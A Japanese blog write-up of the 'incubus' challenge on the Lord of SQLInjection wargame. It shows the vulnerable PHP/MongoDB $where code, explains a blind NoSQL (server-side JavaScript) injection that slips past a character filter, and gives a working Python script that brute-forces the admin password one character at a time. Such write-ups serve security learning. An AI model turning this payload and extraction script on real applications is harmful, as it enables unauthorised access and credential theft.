はまやんはまやんはまやん

hamayanhamayan's blog

incubus [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = mongodb_connect();
if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
$query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

$query = array("id" => "admin");
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['pw'] === $_GET['pw']) solve("incubus");
highlight_file(__FILE__);

特徴は以下。

  • MongoDB
  • id,pwが入力可能
    • prob,_,(がフィルタリング
  • whereを使って持ってきている
  • adminのpwを特定する必要がある

Blind NoSQL Injection (for MongoDB) (SSJI?)

Blind NoSQL Injectionをやる。
というより、with SSJIかも。

MongoDBではJSで評価関数を使って持ってくるwhere構文がある。
開き括弧が使えないので、js関数は使えない。
配列をうまく使おう。

idにadmin' && obj.pw[0]=='a';'を入れればいい。
するとインジェクション後は

function(){
    return obj.id=='admin' && obj.pw[0]=='a';
    ''&&obj.pw=='';
}

となり、良い感じになる。

import requests

url = "https://los.rubiya.kr/chall/incubus_3d7.php"
cookie = {'PHPSESSID': 'q5'}

def check(data) -> bool:
    return ("Hello admin" in data) or ("Hello guest" in data) or ("<h2>Hello User</h2>" in data)
def make_query(ans, c, idx):
    return {'id': f"admin' && obj.pw[{idx-1}]=='{c}';'"}

ans = ""
for i in range(1, 1010):
    ok = False
    for c in "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ,":
        res = requests.get(url, params=make_query(ans, c, i), cookies=cookie)
        if check(res.text):
            ans += c
            ok = True
            break
    if not ok:
        break
    print(f"[*] {ans}")
print(f"[*] find! {ans}")